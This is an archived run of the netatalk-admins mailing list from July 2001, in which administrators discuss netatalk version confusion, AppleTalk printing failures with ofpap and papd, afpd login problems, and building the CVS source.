Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05092
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Jul 2001 17:43:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA05892
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Jul 2001 17:43:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05866
	for netatalk.administrators-members@umich.edu; Sat, 7 Jul 2001 17:43:44 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA05734
	for <netatalk-admins@umich.edu>; Sat, 7 Jul 2001 17:43:42 -0400 (EDT)
Received: from ns09-n66-219.de.inter.net ([213.73.66.219] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15IzrY-0001Y2-00
	for netatalk-admins@umich.edu; Sat, 07 Jul 2001 23:43:40 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.254])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id XAA32480
	for <netatalk-admins@umich.edu>; Sat, 7 Jul 2001 23:43:13 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: natalk and Mac OS X
Date: Sat, 7 Jul 2001 23:36:07 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B760DD70.377%stanton@livsform.com> <a05101000b76d09030c93@[192.168.1.201]> <3B477702.2C71AAC4@brandeis.edu>
In-Reply-To: <3B477702.2C71AAC4@brandeis.edu>
MIME-Version: 1.0
Message-Id: <01070723431300.19070@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA05092

On Sat, 07 Jul 2001, Steven Karel wrote:
> Lorenzo Perone wrote:
> 2.14pre37 works fine with kernel 2.4.x (compiled on background of Redhat 7.0).
> 
> 2.14pre37 does have some problems with OS X, especially if you copy large numbers of files (1000+) from a server, or on copying smaller number of files to a server. It's far from bulletproof.
> 
> The sourceforge 1.5pre7 CVS version does seem to work at least as well as 2.1.4pre37, IF you compile it with:

Hey, what did I miss?

Is/was/will this message falling out of the future?
The latest netatalk version I know is 1.5pre6.
Never heard of "2.14.x" or "2.1.4.x"!

It seems we are talking about two completely different things!


Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sat Jul  7 21:54:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA09531
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Jul 2001 21:54:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA18864
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Jul 2001 21:54:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA18844
	for netatalk.administrators-members@umich.edu; Sat, 7 Jul 2001 21:54:20 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA18796
	for <netatalk-admins@umich.edu>; Sat, 7 Jul 2001 21:54:18 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000088026; Sun, 08 Jul 2001 03:51:16 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310101b76d6bdac710@[192.168.1.201]>
In-Reply-To: <01070723431300.19070@athlet>
References: <B760DD70.377%stanton@livsform.com>
 <a05101000b76d09030c93@[192.168.1.201]> <3B477702.2C71AAC4@brandeis.edu>
 <01070723431300.19070@athlet>
Date: Sun, 8 Jul 2001 03:54:10 +0200
To: deltor@snafu.de
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: natalk and Mac OS X
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

At 23:36 Uhr +0200 07.07.2001, Carsten Neumann wrote:
>On Sat, 07 Jul 2001, Steven Karel wrote:
>> Lorenzo Perone wrote:
>> 2.14pre37 works fine with kernel 2.4.x (compiled on background of Redhat 7.0).
>>
>> 2.14pre37 does have some problems with OS X, especially if you copy large numbers of files (1000+) from a server, or on copying smaller number of files to a server. It's far from bulletproof.
>>
>> The sourceforge 1.5pre7 CVS version does seem to work at least as well as 2.1.4pre37, IF you compile it with:
>
>Hey, what did I miss?
>
>Is/was/will this message falling out of the future?
>The latest netatalk version I know is 1.5pre6.
>Never heard of "2.14.x" or "2.1.4.x"!

there are in fact two netatalk packages (which shouldn't be mixed normally):

- one based on netatalk 1.4b2 and mantained by Adrian Sun (the '+asun2.1.x' versions)
(_usually_ defaults to /usr/local/atalk - comes with most linux distribs)
- one which is the 'official' new 1.5 release, mantained by the people at SourceForge.
(_usually_ spreads itself into /etc/atalk, /usr/sbin, /usr/bin and other dirs)

>It seems we are talking about two completely different things!

in fact.... :-)
but configuration files have been compatible, up to yet, among the two.

Lorenzo

From netatalk.administrators-errors@umich.edu  Sun Jul  8 01:43:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA13881
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Jul 2001 01:43:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id BAA01738
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Jul 2001 01:43:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA01715
	for netatalk.administrators-members@umich.edu; Sun, 8 Jul 2001 01:43:53 -0400 (EDT)
Received: from vmx04.brainstorm.net (vmx04.brainstorm.net [205.178.112.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA01654
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 01:43:51 -0400 (EDT)
Received: from [10.1.1.3] (mail.mx.brainstorm.net [205.178.127.2])
	by vmx04.brainstorm.net (8.9.3/8.9.3) with ESMTP id WAA20084;
	Sat, 7 Jul 2001 22:43:50 -0700 (PDT)
Mime-Version: 1.0
Message-Id: <p04320403b76da0dfe1d6@[10.1.1.3]>
Date: Sat, 7 Jul 2001 22:43:49 -0700
To: netatalk-admins@umich.edu
From: Jim Miller <jmiller@miramontes.com>
Subject: ofpap not working; print not happening
Cc: jmiller@miramontes.com
Content-Type: text/plain; charset="us-ascii"

Hello from a netatalk newbie...

I've installed netatalk-1.4b2+asun... into RedHat 7.1 (x86).  That's doing fine; my linux machine is showing up in my mac choosers.  I'm now trying to get printing working, which is where the problem lies.

I've followed Werner Eugster's (very helpful!) instructions, and am at the point where I can get postscript files from my linux machine to my Laserwriter by an explicit call to ofpap (e.g., ofpap < file.ps).  However, when I try to print via lp, I get in my printer's /var/spool/lp/status.lp file:

waiting for subserver to exit at 2001-07-07-22:23:26.410 ## A=<NULL> number=0 process=1557
subserver pid 1558 starting at 2001-07-07-22:23:26.424 ## A=root@linux+556 number=556 process=1558
accounting at start at 2001-07-07-22:23:26.424 ## A=root@linux+556 number=556 process=1558
opening device '/dev/atalk/lp' at 2001-07-07-22:23:26.424 ## A=root@linux+556 number=556 process=1558
printing job 'root@linux+556' at 2001-07-07-22:23:26.424 ## A=root@linux+556 number=556 process=1558
printing 'root@linux+556' starting OF 'ofpap' at 2001-07-07-22:23:26.424 ## A=root@linux+556 number=556 process=1558
OF filter msg - 'Unknown' at 2001-07-07-22:23:26.575 ## A=root@linux+556 number=556 process=1558
OF filter msg - 'Unknown' at 2001-07-07-22:23:26.575 ## A=root@linux+556 number=556 process=1558
OF filter msg - 'Didn't find initial page count!' at 2001-07-07-22:23:26.575 ## A=root@linux+556 number=556 process=1558
OF filter problems, error 'JABORT' at 2001-07-07-22:23:26.575 ## A=root@linux+556 number=556 process=1558
accounting at end at 2001-07-07-22:23:26.575 ## A=root@linux+556 number=556 process=1558
finished 'root@linux+556', status 'JABORT' at 2001-07-07-22:23:26.575 ## A=root@linux+556 number=556 process=1558
subserver pid 1558 exit status 'JABORT' at 2001-07-07-22:23:26.576 ## A=<NULL> number=0 process=1557
job 'cfA556linux.miramontes.com' error 'aborting operations' at 2001-07-07-22:23:26.689 ## A=<NULL> number=556 process=1557
removing job 'cfA556linux.miramontes.com' - ABORT at 2001-07-07-22:23:26.866 ## A=<NULL> number=556 process=1557

that is: ofpap is breaking for some reason I can't figure out.  All the permissions and owners in the various files and directories seem to be correct; does anyone have any clues?

Cluelessly, but with thanks,
Jim Miller

From netatalk.administrators-errors@umich.edu  Sun Jul  8 02:44:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA15124
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Jul 2001 02:44:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA13915
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Jul 2001 02:44:35 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA13893
	for netatalk.administrators-members@umich.edu; Sun, 8 Jul 2001 02:44:35 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id CAA13647
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 02:44:28 -0400 (EDT)
Received: (qmail 24586 invoked from network); 9 Jul 2001 02:45:35 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 9 Jul 2001 02:45:35 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: lpr grief
Date: Sun, 8 Jul 2001 16:43:57 +1000
Message-ID: <000d01c10779$5d591140$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi all,

I'm attempting to get mac clients to print to a couple of Apple LaserWriters
via a netatalk server, with mixed success...

The printers & server show up nicely in chooser, and after selecting the
correct PPD file it then creates a desktop icon for the new printer.

If I attempt to print to the printer, I have somewhat different results -
from the mac, the job appears to spool fine, then disappears. On the server,
I see in messages:

Jul  8 16:22:07 bob papd[9687]: child 9701 for "Mono" from 65346.168
Jul  8 16:22:08 bob papd[9701]: read_ppd .ppd: No such file or directory
Jul  8 16:22:08 bob papd[9701]: lp_init: lock: No such file or directory
Jul  8 16:22:08 bob papd[9701]: lp_open failed
Jul  8 16:22:08 bob papd[9687]: child 9701 done

Printing directly from lpr is ok.

The relevant papd.conf entry looks like:

Mono:\
        pr=lw8500:\
        op=lp:\
        ppd=/etc/netatalk/ppd/LaserWriter\ 8500\ PPD\ v1.2:

and the corresponding printcap entry:

lw8500:\
  :client:\
  :mx=0:sh:\
  :lp=lw8500@localhost:
lw8500|Mono:\
  :server:
  :lp=raw@192.168.0.100:\
  :sd=/var/spool/lpd/%P:\
  :if=/usr/libexec/filters/ifhp:\
  :ifhp=model=apple:\
  :lf=/var/log/%P.log:

Chris Herrmann
Far Edge Technology

p. 02 99553640
f. 02 99547994
m. 0403 393309
http://www.faredge.com.au


From netatalk.administrators-errors@umich.edu  Sun Jul  8 08:36:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA21561
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Jul 2001 08:36:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA05367
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Jul 2001 08:36:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05349
	for netatalk.administrators-members@umich.edu; Sun, 8 Jul 2001 08:36:22 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA05308
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 08:36:21 -0400 (EDT)
Received: from ns01-n71-078.de.inter.net ([213.73.71.78] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15JDnQ-0006Ut-00
	for netatalk-admins@umich.edu; Sun, 08 Jul 2001 14:36:20 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.254])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id OAA03441
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 14:11:58 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: natalk and Mac OS X
Date: Sun, 8 Jul 2001 14:03:24 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B760DD70.377%stanton@livsform.com> <01070723431300.19070@athlet> <a04310101b76d6bdac710@[192.168.1.201]>
In-Reply-To: <a04310101b76d6bdac710@[192.168.1.201]>
MIME-Version: 1.0
Message-Id: <01070814115801.19070@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA21561

On Sun, 08 Jul 2001, Lorenzo Perone wrote:
> - one based on netatalk 1.4b2 and mantained by Adrian Sun (the '+asun2.1.x' versions)
> (_usually_ defaults to /usr/local/atalk - comes with most linux distribs)
> - one which is the 'official' new 1.5 release, mantained by the people at SourceForge.
> (_usually_ spreads itself into /etc/atalk, /usr/sbin, /usr/bin and other dirs)

Ah, so you're talking about the version of just the asun patches.
The netatalk version was still 1.4.x.
There was never a netatalk version 2.1.x or - even higher - 2.14.x until now!

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sun Jul  8 10:04:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA23267
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Jul 2001 10:04:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA11612
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Jul 2001 10:04:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA11597
	for netatalk.administrators-members@umich.edu; Sun, 8 Jul 2001 10:04:33 -0400 (EDT)
Received: from tomts8-srv.bellnexxia.net (tomts8.bellnexxia.net [209.226.175.52])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA11370
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 10:04:27 -0400 (EDT)
Received: from masella.dynodns.net ([64.229.109.213])
          by tomts8-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010708140439.KICN3306.tomts8-srv.bellnexxia.net@masella.dynodns.net>
          for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 10:04:39 -0400
Received: from WindowsBox (WindowsBox.Masella.Etobicoke [192.168.0.48])
	by masella.dynodns.net (8.11.4/8.11.4) with SMTP id f68E7vs04897
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 14:08:02 GMT
Message-ID: <001401c107b6$ec657940$3000a8c0@Masella.Etobicoke>
From: "Andre Masella" <andre@masella.dynodns.net>
To: <netatalk-admins@umich.edu>
Subject: Slackware 8.0 NetATalk Broken on Install!
Date: Sun, 8 Jul 2001 10:04:29 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0011_01C10795.6062E520"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C10795.6062E520
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Slackware 8.0 include netatalk in it's net packages, but the version =
doesn't work! The client says "Invalid username or password" and this =
appears in my system log when I try to access a server:
Jul  8 10:01:49 RouteBox afpd[4870]: ASIP session:548(1) from =
192.168.0.48:1270(2)
Jul  8 10:01:50 RouteBox afpd[4870]: 0.08KB read, 0.05KB written
Jul  8 10:01:50 RouteBox afpd[2335]: server_child[1] 4870 done

I have tried to compile from sources, but I get the same problem, even =
though AFPd loads with no problems and none of the UAMs complain. =
Slackware has shadow passwords, so I --with-shadow, but that does =
nothing. I don't have pam, but it doesn't seem to want to compile with =
PAM. I don't understand. Everything else runs smoothly, except afpd. Can =
anyone help me? Thanks.

-- Andre Masella (andre@masella.dynodns.net)

------=_NextPart_000_0011_01C10795.6062E520
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 5.50.4616.200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Slackware 8.0 include netatalk in it's =
net=20
packages, but the version doesn't work! The client says =
"Invalid&nbsp;username=20
or password" and this appears in my system log when I try to access a=20
server:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Jul&nbsp; 8 10:01:49 RouteBox =
afpd[4870]: ASIP=20
session:548(1) from 192.168.0.48:1270(2)<BR>Jul&nbsp; 8 10:01:50 =
RouteBox=20
afpd[4870]: 0.08KB read, 0.05KB written<BR>Jul&nbsp; 8 10:01:50 RouteBox =

afpd[2335]: server_child[1] 4870 done</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have tried to compile from sources, =
but I get the=20
same problem, even though AFPd loads with no problems and none of the =
UAMs=20
complain. Slackware has shadow passwords, so I --with-shadow, but that =
does=20
nothing. I don't have pam, but it doesn't seem to want to compile with =
PAM. I=20
don't understand. Everything else runs smoothly, except afpd. Can anyone =
help=20
me? Thanks.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>-- Andre Masella (<A=20
href=3D"mailto:andre@masella.dynodns.net">andre@masella.dynodns.net</A>)<=
/FONT></DIV></BODY></HTML>

------=_NextPart_000_0011_01C10795.6062E520--


From netatalk.administrators-errors@umich.edu  Sun Jul  8 17:25:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA01450
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Jul 2001 17:25:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA20344
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Jul 2001 17:25:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA20329
	for netatalk.administrators-members@umich.edu; Sun, 8 Jul 2001 17:25:19 -0400 (EDT)
Received: from proxy.waw.be (proxy.waw.be [212.68.202.70])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA20254
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 17:25:17 -0400 (EDT)
Received: from [192.168.10.224] (dhcp224.waw.be [192.168.10.224])
	by proxy.waw.be (8.9.3/8.9.3) with ESMTP id XAA12803
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 23:25:42 +0200
Mime-Version: 1.0
X-Sender: john@wawserver.waw.be
Message-Id: <a05100300b76e7e3354b1@[192.168.10.224]>
In-Reply-To: <3B477702.2C71AAC4@brandeis.edu>
References: <B760DD70.377%stanton@livsform.com>
 <a05101000b76d09030c93@[192.168.1.201]> <3B477702.2C71AAC4@brandeis.edu>
Date: Sun, 8 Jul 2001 23:26:00 +0200
To: netatalk-admins@umich.edu
From: John Seifarth <john@waw.be>
Subject: Re: natalk and Mac OS X
Content-Type: text/plain; charset="us-ascii"

I've never used CVS before, but I'd really like to get netatalk working with mac OS X.

I followed the instructions at the URL below:


At 16:54 -0400 7/07/2001, Steven Karel wrote:
>
>The sourceforge 1.5pre7 CVS version does seem to work at least as well as 2.1.4pre37, IF you compile it with:
>
>--with-did=last.
>
>It would probably help the developers for more users to the test the current CVS version of the code. You can get it from:
>
>http://sourceforge.net/cvs/?group_id=8642
>

I installed cvs (I'm running Debian potato), downloaded the module netatalk, but I don't find the ./configure script in the directory created by CVS. I'm stuck.

I note that configure, Makefile and other compilation essentials are listed in the .cvsignore file. So if they're ignored, and not downloaded, how am I supposed to compile the beast?

Any suggestions?


-- 
__________________________________________________________________
John Seifarth                               http://www.waw.be/waw/
Words & Wires SPRL                                     john@waw.be         
Computer Consulting & Language Services   Voice: (+) 32-2-660-3943
1160 Brussels, Belgium                      Fax: (+) 32-2-675-3922

From netatalk.administrators-errors@umich.edu  Sun Jul  8 20:23:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA04482
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Jul 2001 20:23:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA14302
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Jul 2001 20:23:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA14278
	for netatalk.administrators-members@umich.edu; Sun, 8 Jul 2001 20:23:39 -0400 (EDT)
Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA14236
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 20:23:38 -0400 (EDT)
Received: from brandeis.edu (h00a04b0c2aa5.ne.mediaone.net [65.96.251.23])
	by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id f690Na617590;
	Sun, 8 Jul 2001 20:23:36 -0400 (EDT)
Sender: karelsf@chmls20.mediaone.net
Message-ID: <3B48F985.7E84CD63@brandeis.edu>
Date: Sun, 08 Jul 2001 20:23:33 -0400
From: Steven Karel <karelsf@brandeis.edu>
Reply-To: karelsf@brandeis.edu
Organization: Brandeis University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.4-ac9 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
CC: John Seifarth <john@waw.be>
Subject: Re: natalk and Mac OS X
References: <B760DD70.377%stanton@livsform.com>
	 <a05101000b76d09030c93@[192.168.1.201]> <3B477702.2C71AAC4@brandeis.edu> <a05100300b76e7e3354b1@[192.168.10.224]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

John Seifarth wrote:
> 
>
> I installed cvs (I'm running Debian potato), downloaded the module netatalk, but I don't find the ./configure script in the directory created by CVS. I'm stuck.
> 
> I note that configure, Makefile and other compilation essentials are listed in the .cvsignore file. So if they're ignored, and not downloaded, how am I supposed to compile the beast?
> 
> Any suggestions?

I believe all you should need to do is to run the included autogen.sh
script to invoke automake and autoconf. At least that worked for me.

From netatalk.administrators-errors@umich.edu  Sun Jul  8 20:25:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA04600
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 8 Jul 2001 20:25:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA09130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 8 Jul 2001 20:25:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA09113
	for netatalk.administrators-members@umich.edu; Sun, 8 Jul 2001 20:25:38 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA09018
	for <netatalk-admins@umich.edu>; Sun, 8 Jul 2001 20:25:35 -0400 (EDT)
Received: (qmail 27427 invoked from network); 9 Jul 2001 20:26:47 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 9 Jul 2001 20:26:47 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: chown, DID & pam...
Date: Mon, 9 Jul 2001 10:25:01 +1000
Message-ID: <000801c1080d$9831eb90$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hi all,

A collection of strange messages...

We're braving our first morning of netatalk-for-real, after the old mac
server ran out of licenses and it was cheaper to buy a new server, configure
it with linux/netatalk :o)

We're getting a few strange things though... any assistance will be
gratefully received!

One computer is experiencing particular problems - if I open quark, and
attempt to save a document, it fails with a message "file is locked". An
empty file is created in the directory, which is then locked.

On the server, I'm seeing:


Also... we're using pam for authentication, and people login successfully,
except for edgar:

Jul  9 09:13:10 bob afpd[1397]: dhx login: edgar
Jul  9 09:13:10 bob afpd[1397]: uams_dhx_pam.c :PAM: PAM Success -- No such
file or directory
Jul  9 09:13:10 bob PAM_pwdb[1397]: authentication failure; (uid=0) -> edgar
for netatalk service
Jul  9 09:13:11 bob afpd[1397]: uams_dhx_pam.c :PAM: PAM_Error:
Authentication failure -- Inappropriate ioctl for device

Any suggestions would be wonderful!!!

Thanks,

Chris Herrmann
Far Edge Technology

p. 02 99553640
f. 02 99547994
m. 0403 393309
http://www.faredge.com.au


From netatalk.administrators-errors@umich.edu  Mon Jul  9 02:23:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA11825
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 02:23:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA10477
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 02:23:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA10455
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 02:23:36 -0400 (EDT)
Received: from infesto.de (p3E9C373A.dip.t-dialin.net [62.156.55.58])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA10367
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 02:23:34 -0400 (EDT)
Received: from infesto.de (IDENT:sf@localhost [127.0.0.1])
	by infesto.de (8.11.0/8.11.0) with ESMTP id f696O8w01665
